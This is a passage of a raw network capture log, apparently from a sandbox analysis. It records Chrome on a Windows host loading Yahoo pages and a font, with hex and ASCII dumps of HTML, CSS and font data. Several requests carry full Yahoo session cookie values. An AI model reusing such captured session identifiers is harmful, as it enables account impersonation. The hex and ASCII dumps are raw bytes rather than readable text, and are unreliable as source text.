geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://login.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://login.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
2024-01-10 23:27:08 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:08 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:08 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49790	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:07 UTC	942	OUT	GET / HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
2024-01-10 23:27:08 UTC	1292	IN	HTTP/1.1 200 OK referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN content-type: text/html; charset=utf-8 date: Wed, 10 Jan 2024 23:27:08 GMT x-envoy-upstream-service-time: 71 server: ATS Age: 0 Cache-Control: no-store, no-cache, max-age=0, private Expires: -1 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.pnr.ouryahoo.com https://pnr.ouryahoo.com https://.search.aol.com https://.search.huffpost.com https://.onesearch.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=0gast8pipu9uc&partner=; Transfer-Encoding: chunked Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block
2024-01-10 23:27:08 UTC	35	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: X-Content-Type-Options: nosniff
2024-01-10 23:27:08 UTC	741	IN	Data Raw: 66 39 39 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 20 69 64 3d 61 74 6f 6d 69 63 20 63 6c 61 73 73 3d 22 6c 74 72 20 66 70 20 20 64 65 73 6b 74 6f 70 20 20 66 70 2d 6e 6f 6e 65 20 62 6b 74 64 72 6f 70 5f 68 65 69 6d 64 61 6c 6c 5f 68 6f 6d 65 70 61 67 65 5f 63 6f 6e 74 72 6f 6c 5f 62 75 63 6b 65 74 2c 4d 69 6d 69 63 50 72 6f 76 69 64 65 72 4c 69 73 74 76 32 2d 63 6f 70 79 2c 73 65 61 6d 6c 65 73 73 20 75 61 2d 63 68 72 6f 6d 65 20 75 61 2d 31 31 37 2e 30 20 69 73 4d 6f 64 65 72 6e 22 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 63 37 62 31 36 65 64 36 30 36 34 65 33 35 64 65 64 30 36 61 63 32 61 31 35 63 64 30 65 63 62 65 66 65 Data Ascii: f99<!doctype html><html data-color-scheme id=atomic class="ltr fp desktop fp-none bktdrop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless ua-chrome ua-117.0 isModern" lang=en-US><head><script nonce=c7b16ed6064e35ded06ac2a15cd0ecbefe
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 73 2c 20 46 69 6e 61 6e 63 65 2c 20 53 70 6f 72 74 73 20 26 61 6d 70 3b 20 56 69 64 65 6f 73 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 63 6f 6e 74 65 6e 74 2d 74 79 70 65 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 20 63 6f 6e 74 65 6e 74 3d 6f 6e 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 20 63 6f 6e 74 65 6e 74 3d 63 68 72 6f 6d 65 3d 31 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 64 65 73 63 72 69 70 74 69 6f 6e 20 63 6f 6e 74 65 6e 74 3d 22 4c 61 74 65 73 74 20 6e 65 77 73 20 63 6f 76 65 72 61 Data Ascii: s, Finance, Sports & Videos</title><meta http-equiv=content-type content="text/html; charset=utf-8"><meta http-equiv=x-dns-prefetch-control content=on><meta http-equiv=X-UA-Compatible content=chrome=1><meta name=description content="Latest news covera
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 33 2c 20 31 31 32 39 39 36 35 34 35 34 33 39 37 33 34 2c 20 33 34 35 31 38 35 35 37 33 30 30 30 2c 20 31 33 31 37 34 37 38 39 36 38 36 31 31 32 36 2c 20 33 34 35 31 38 35 35 37 33 30 30 30 2c 20 38 31 32 36 32 35 39 36 32 33 34 2c 20 31 30 37 31 34 33 37 37 36 30 31 30 32 35 30 2c 20 31 33 37 36 35 37 38 39 32 39 32 36 39 36 33 2c 20 31 31 38 37 35 37 31 33 31 35 30 34 38 30 33 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 6f 67 3a 74 69 74 6c 65 20 63 6f 6e 74 65 6e 74 3d 22 59 61 68 6f 6f 20 7c 20 4d 61 69 6c 2c 20 57 65 61 74 68 65 72 2c 20 53 65 61 72 63 68 2c 20 50 6f 6c 69 74 69 63 73 2c 20 4e 65 77 73 2c 20 46 69 6e 61 6e 63 65 2c 20 53 70 6f 72 74 73 20 26 20 56 69 64 65 6f 73 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 6e 66 3a 63 6a 73 Data Ascii: 3, 112996545439734, 345185573000, 131747896861126, 345185573000, 81262596234, 107143776010250, 137657892926963, 118757131504803"><meta property=og:title content="Yahoo \| Mail, Weather, Search, Politics, News, Finance, Sports & Videos"><meta name="conf:cjs
2024-01-10 23:27:08 UTC	659	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 73 67 2e 79 61 68 6f 6f 2e 63 6f 6d 22 20 68 72 65 66 6c 61 6e 67 3d 22 65 6e 2d 73 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 22 20 68 72 65 66 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 73 70 61 6e 6f 6c 2e 79 61 68 6f 6f 2e 63 6f 6d 22 20 68 72 65 66 6c 61 6e 67 3d 22 65 73 2d 75 73 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 72 2e 79 61 68 6f 6f 2e 63 6f 6d 22 20 68 72 65 66 6c 61 6e 67 3d 22 66 72 2d 66 72 22 3e 3c 6c 69 6e 6b 20 72 65 6c Data Ascii: https://sg.yahoo.com" hreflang="en-sg"><link rel="alternate" href="https://www.yahoo.com" hreflang="en-us"><link rel="alternate" href="https://espanol.yahoo.com" hreflang="es-us"><link rel="alternate" href="https://fr.yahoo.com" hreflang="fr-fr"><link rel
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 31 37 66 66 39 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6e 6f 6e 63 65 3d 22 63 37 62 31 36 65 64 36 30 36 34 65 33 35 64 65 64 30 36 61 63 32 61 31 35 63 64 30 65 63 62 65 66 65 35 37 38 65 31 61 36 36 32 61 61 35 63 36 33 66 35 31 35 64 62 31 35 31 39 30 33 34 35 65 22 3e 2f 2a 20 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 64 72 2f 66 70 2f 63 73 73 2f 66 75 73 69 6f 6e 2e 61 74 6f 6d 69 63 2e 64 32 36 31 36 65 63 33 35 65 37 32 39 37 63 63 61 38 34 36 63 37 39 64 32 30 64 39 36 65 30 32 2e 63 73 73 20 2a 2f 20 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 2d 2d 66 70 2d 68 72 5c 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 70 2d 68 72 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 5c 24 Data Ascii: 17ff9<style type="text/css" nonce="c7b16ed6064e35ded06ac2a15cd0ecbefe578e1a662aa5c63f515db15190345e">/* https://s.yimg.com/dr/fp/css/fusion.atomic.d2616ec35e7297cca846c79d20d96e02.css */ #atomic .Bdc$--fp-hr${border-color:var(--fp-hr)}#atomic .Bdc\(\$
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 63 75 73 2c 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 2d 2d 66 70 2d 62 61 63 6b 67 72 6f 75 6e 64 5c 29 5c 3a 68 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 70 2d 62 61 63 6b 67 72 6f 75 6e 64 29 7d 23 61 74 6f 6d 69 63 20 2e 42 78 73 68 5c 28 2d 2d 66 70 2d 65 6c 65 76 61 74 69 6f 6e 2d 34 5c 29 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 76 61 72 28 2d 2d 66 70 2d 65 6c 65 76 61 74 69 6f 6e 2d 34 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 5c 23 38 32 38 61 39 33 5c 29 7b 63 6f 6c 6f 72 3a 23 38 32 38 61 39 33 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 5c 29 5c 3a 5c 3a 70 68 3a 3a 70 6c 61 63 65 68 6f Data Ascii: cus,#atomic .Bgc$--fp-background$\:h:hover{background-color:var(--fp-background)}#atomic .Bxsh$--fp-elevation-4${box-shadow:var(--fp-elevation-4)}#atomic .C$\#828a93${color:#828a93}#atomic .C$--battleship$,#atomic .C$--battleship$\:\:ph::placeho
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 7b 68 65 69 67 68 74 3a 38 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 31 36 30 70 78 5c 29 7b 68 65 69 67 68 74 3a 31 36 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 31 37 70 78 5c 29 7b 68 65 69 67 68 74 3a 31 37 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 32 36 70 78 5c 29 7b 68 65 69 67 68 74 3a 32 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 34 30 5c 25 5c 29 7b 68 65 69 67 68 74 3a 34 30 25 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 36 30 5c 25 5c 29 7b 68 65 69 67 68 74 3a 36 30 25 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 36 30 30 70 78 5c 29 7b 68 65 69 67 68 74 3a 36 30 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 37 30 5c 25 5c 29 7b 68 65 69 67 68 74 3a 37 30 25 7d 23 61 74 6f 6d 69 63 20 2e 48 5c 28 37 34 30 Data Ascii: {height:8px!important}#atomic .H$160px${height:160px}#atomic .H$17px${height:17px}#atomic .H$26px${height:26px}#atomic .H$40\%${height:40%}#atomic .H$60\%${height:60%}#atomic .H$600px${height:600px}#atomic .H$70\%${height:70%}#atomic .H\(740
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 38 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 62 5c 28 30 70 78 5c 29 5c 21 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 64 65 73 6b 74 6f 70 20 2e 64 65 73 6b 74 6f 70 5f 4d 73 74 61 72 74 5c 28 31 32 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 64 65 73 6b 74 6f 70 20 2e 64 65 73 6b 74 6f 70 5f 4d 73 74 61 72 74 5c 28 33 32 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 4d 73 74 61 72 74 5c 28 32 34 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 73 74 61 72 74 5c 28 34 30 70 78 5c 29 7b 6d 61 72 67 Data Ascii: margin-right:580px}#atomic .Mb$0px$\!{margin-bottom:0!important}.desktop .desktop_Mstart$12px${margin-left:12px!important}.desktop .desktop_Mstart$32px${margin-left:32px!important}#atomic .Mstart$24px${margin-left:24px}#atomic .Mstart$40px${marg
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 7b 74 6f 70 3a 31 38 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 54 5c 28 32 31 30 70 78 5c 29 7b 74 6f 70 3a 32 31 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 54 5c 28 32 32 30 70 78 5c 29 7b 74 6f 70 3a 32 32 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 54 5c 28 32 34 30 70 78 5c 29 7b 74 6f 70 3a 32 34 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 54 5c 28 32 36 30 70 78 5c 29 7b 74 6f 70 3a 32 36 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 54 5c 28 32 36 35 70 78 5c 29 7b 74 6f 70 3a 32 36 35 70 78 7d 23 61 74 6f 6d 69 63 20 2e 54 5c 28 32 37 30 70 78 5c 29 7b 74 6f 70 3a 32 37 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 54 5c 28 32 38 35 70 78 5c 29 7b 74 6f 70 3a 32 38 35 70 78 7d 23 61 74 6f 6d 69 63 20 2e 54 5c 28 33 30 30 70 78 5c 29 7b 74 6f 70 3a 33 30 30 70 78 7d 23 61 74 6f Data Ascii: {top:180px}#atomic .T$210px${top:210px}#atomic .T$220px${top:220px}#atomic .T$240px${top:240px}#atomic .T$260px${top:260px}#atomic .T$265px${top:265px}#atomic .T$270px${top:270px}#atomic .T$285px${top:285px}#atomic .T$300px${top:300px}#ato

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49794	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:08 UTC	574	OUT	GET /cv/apiv2/ngy-fonts/YahooSans-VF-Web.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.yahoo.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:08 UTC	815	IN	HTTP/1.1 200 OK x-amz-id-2: WFKx48vpqzaShyIB4jhEjFJbqHcwh/RmlY/owWc5V1XYsEMnB8wFC0sWw5oBMtwgnqEcjF2Yivc= x-amz-request-id: ZCT9HJSGYHPD7D96 Date: Wed, 03 Jan 2024 10:24:00 GMT Last-Modified: Mon, 30 Nov 2020 20:20:29 GMT ETag: "b4df4fce99e5a3c3d1493112a0159071" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 65176 Referrer-Policy: no-referrer-when-downgrade Age: 651789 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 fe 98 00 11 00 00 00 02 5e d8 00 00 fe 2a 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 8c 2f 1b 83 ee 0a 1c 92 7a 3f 48 56 41 52 8c 77 06 60 3f 53 54 41 54 1c 00 88 00 2f 64 0a 81 b9 10 81 94 4f 0b 87 36 00 30 83 a1 46 01 36 02 24 03 8e 66 04 20 05 8b 7c 07 99 39 5b b3 47 92 80 b0 09 68 2c 6a 2b 6e e3 d7 6d 44 c0 67 6e a9 56 da f1 b3 17 c2 3c bc d6 63 31 3d c5 8c 9a 32 13 7f 7e b0 06 cf 8d e4 ee 76 c4 5e 8d d7 eb b3 ff ff ff ff 17 25 8b 18 5b 33 87 cd ec dd 01 00 a9 66 81 a2 66 f5 fd 3f c9 61 44 2e b9 a8 a8 b6 e8 a8 87 d1 b5 79 18 0b 54 a6 e8 3b 4f d5 73 7e dd 0f 87 b6 d5 f1 f4 86 72 7e 7b c5 bb 3f c6 f1 b0 74 89 76 85 20 ee 44 e2 4b 5f 1b e4 95 c2 74 56 f3 16 de 37 b8 4a c2 86 e3 2d 32 16 3a 46 Data Ascii: wOF2^*/z?HVARw`?STAT/dO60F6$f \|9[Gh,j+nmDgnV<c1=2~v^%[3ff?aD.yT;Os~r~{?tv DK_tV7J-2:F
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 1f 66 86 85 fb d2 e9 d3 06 b3 8b 33 38 2b db 92 8b 92 5f 4a 39 f6 eb 3f dc 4e ff da 5b 4a 55 fe 43 c9 17 65 85 59 21 0d f6 2c d6 80 ed 97 fb e5 3b d8 4e b3 22 11 49 a7 f9 33 3d 02 5b 40 4d 2c d9 1d 24 2b 5c 85 37 cf a0 53 0f d3 81 05 ae 63 f8 f7 8a 77 2d c0 38 77 06 ba 2c 4a 08 e9 e1 8b 5d 76 a5 4b ec 12 91 74 e5 0f bb 83 1c 22 12 7c bb 44 82 1c de b2 db 8e 25 76 d9 65 97 88 1c 22 22 76 05 11 f1 0f 91 c3 2e bb 24 88 c8 61 97 e4 56 10 11 09 72 88 1c 22 7e 10 f1 03 e0 ef 75 ea fb 92 02 c0 05 1e c6 4e bd 0e 23 8e 38 d6 32 49 b1 d8 10 60 95 6c 16 16 b6 90 ec 84 37 22 ab e5 0d c1 4e 61 ed a4 4e 4b d2 0a d0 dc 27 10 0d 8b bc 65 b2 c4 a7 a7 e9 ff 7f 9b fe fb 67 ef 7d 0e 0f 6a 46 68 0a 11 77 59 69 8a 34 cd 1b 8f df 4a 97 a2 49 19 fe bf e8 02 04 17 c1 a0 97 eb 6b Data Ascii: f38+_J9?N[JUCeY!,;N"I3=[@M,$+\7Scw-8w,J]vKt"\|D%ve""v.$aVr"~uN#82I`l7"NaNK'eg}jFhwYi4JIk
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: bf df f5 ee bf 5b bf 0d 5f 9e e3 32 a7 22 8f c9 3e f6 f4 a4 ae 9f e0 33 27 5f 9e e3 bf b1 2c 10 26 93 ff 41 67 a1 23 7b ae 29 1c fd 17 a3 7c 39 aa eb 91 0a ce 30 8f 3d 8d 8d 7e 1c 3a 26 94 4d 3c 4d 14 4e de 68 25 75 3d 15 9e 8a 4c 2f 93 01 98 82 9e 1e 05 ed f8 2f 4b d6 1a 7d 9e df c8 15 ce 84 67 22 33 80 19 e8 d9 53 75 dc bb 13 4f 27 46 7f 62 cc f3 af 7a f8 6a 81 fc c6 5c 75 e6 0a e7 47 41 f7 65 ec 98 9d 88 03 70 a0 9d d1 bb a7 ea 24 d9 c2 bb c2 53 a1 b0 c0 68 d0 e8 0b 63 5e 8c 1f 2d 8a 74 21 bc 50 b8 50 c1 10 46 43 18 0f 3d 55 5d 52 56 92 2d bd 2b 3d 95 c2 a5 48 09 50 82 2e 8d be 2a 92 aa 48 2b ca 2a b2 95 77 95 c2 4a 05 23 18 e7 fe f9 89 f2 bb 24 4c 22 04 40 a0 e9 a8 72 39 fe 75 49 d9 92 ec d2 83 9b 68 69 f4 cb d0 71 9a b5 9f 16 09 a4 e6 a7 0a 0d c6 30 Data Ascii: [_2">3'_,&Ag#{)\|90=~:&M<MNh%u=L//K}g"3SuO'Fbzj\uGAep$Shc^-t!PPFC=U]RV-+=HP.H+wJ#$L"@r9uIhiq0
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: 02 21 b1 34 4c 36 62 59 b4 32 36 16 ab 50 4a c1 08 50 2e fd 6d 41 ae c7 77 3c cf b4 9a 93 b7 4e 31 f9 eb b5 ac 60 a3 96 17 63 bd 95 ed b6 4f 6a fb 05 7a 19 0f 62 94 6b 83 d8 9a 6d d3 d6 ad 82 83 db ff 3d 8e ee 74 50 27 0f 38 aa 87 6f b4 bb c5 de a8 bb 36 8a 5d 0b 2c 3f 65 ef 6d be 7a 83 d9 e5 6f 36 fa c0 09 42 2b cd ea 09 f3 e3 22 ac 7f 7e 68 dc e0 b1 9f 28 bd 36 2c 1e 4f 6a 1e 74 77 36 ff fa 0e 88 45 bb 2e d2 89 7e 77 97 8c 62 c4 7f 07 22 7e 34 2c bf cd 89 ec bf 7f cd 25 9e 6b ad b6 98 f4 c5 2b 82 33 36 5f 9d cf 3f ee 7e e3 41 2b e2 99 1a 5c 7f 5c 12 3f ad 1d 60 c5 d6 86 43 cb 71 52 7e bb 13 21 b0 b3 d2 18 62 d7 e8 c8 e9 d9 3d 75 18 bd cf d1 f4 2e 5c 41 8e a6 23 0d 4c 50 94 a8 28 bf 14 59 dc e9 b1 5f 39 7a 23 16 e4 e8 48 09 99 b3 4c cb 72 5e 40 61 60 d4 Data Ascii: !4L6bY26PJP.mAw<N1`cOjzbkm=tP'8o6],?emzo6B+"~h(6,Ojtw6E.~wb"~4,%k+36_?~A+\\?`CqR~!b=u.\A#LP(Y_9z#HLr^@a`
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: c4 29 74 7c 37 93 7e fd 14 7a 2e 2f e6 d6 f7 81 ff 47 85 65 a4 39 53 fe 27 d1 9f 69 9b 76 48 22 99 94 46 53 17 34 63 37 62 a9 d9 d5 69 4f 7b a2 b7 be 58 3f c8 16 a7 22 ed e7 18 7d 05 90 9f 3c 07 aa 4f 15 9f ba b2 7c fb ff 72 06 25 7a df 73 1e 96 0c 2e 80 de fc ed a2 8d 8c 5c 5a bf 0c 7c 0d 61 2d 9a 35 0e e9 3a 89 75 4f 88 e0 6b 01 21 fa 6b eb a1 f0 63 54 5e f4 5b 0f e7 03 0f 7c 7d ec 81 af 7f 27 57 c3 3b bb 20 3c 0a 61 42 3e ac 8c 09 f4 66 ba b3 c0 97 7c ce b7 8b 2e 80 bd d9 cd 45 a0 74 f1 a5 03 9f 33 5c 05 b3 94 2a 76 5b 81 af d3 4b ef 6a 8d e8 ae 4f e4 48 08 74 52 03 5f 5a c9 55 f5 f9 1b 14 f0 75 81 98 9a 67 97 41 02 44 79 b8 c5 56 0c 93 3e 90 45 f9 b8 a7 cc 51 85 5f ea ec 9b 92 f9 17 bc 95 e1 60 36 2d c7 c7 dd 70 b9 8a 39 6b b8 7c fe 5b fc 44 bf aa 20 Data Ascii: )t\|7~z./Ge9S'ivH"FS4c7biO{X?"}<O\|r%zs.\Z\|a-5:uOk!kcT^[\|}'W; <aB>f\|.Et3\*v[KjOHtR_ZUugADyV>EQ_`6-p9k\|[D
2024-01-10 23:27:08 UTC	1300	IN	Data Raw: ca 94 8a e9 94 f3 20 ae 0a c9 20 c8 0e 0d 79 c9 1e 26 6b db af 0b 92 0e a0 a8 83 1d ed c8 d2 45 27 24 a2 16 ce 32 9c cd 5c 66 44 2d e6 b0 13 33 d9 8f 85 3f 4e 63 44 14 7d f8 cc 70 3b 55 2c 19 a3 fd a9 5b 4e f7 8f ae 5f ad 43 2e 72 43 43 ae 73 53 01 77 b9 a5 0b 1e 73 fb 62 66 9c 1b c6 2a ea 64 82 20 af 94 f0 9e b7 ca 44 25 ef 82 de d3 87 e3 1f 35 e2 2b 56 fb db fe a5 55 96 ff 68 a7 f9 1f bb e4 1e 37 c4 00 a2 84 19 1d 77 a2 d1 50 dc de 79 c3 f1 a2 a8 49 fc b3 28 23 79 fa 0d 2b 76 19 1d b0 12 92 79 2b 17 84 25 46 ad 06 93 6d 02 45 5e bb 85 fb 70 35 fc ad 5b 7f 1f 04 c6 bc 00 07 e1 cd cb f0 19 7a e7 aa 8d e9 e6 35 75 89 d0 c4 35 ee 09 60 63 10 f7 54 29 61 a6 35 0c 19 4a 8c 15 80 f5 d5 50 c3 68 e0 9f 36 ca 37 ca fd f0 a0 19 01 a2 d7 aa 39 0a 77 1a 76 77 0b fc Data Ascii: y&kE'$2\fD-3?NcD}p;U,[N_C.rCCsSwsbf*d D%5+VUh7wPyI(#y+vy+%FmE^p5[z5u5`cT)a5JPh679wvw
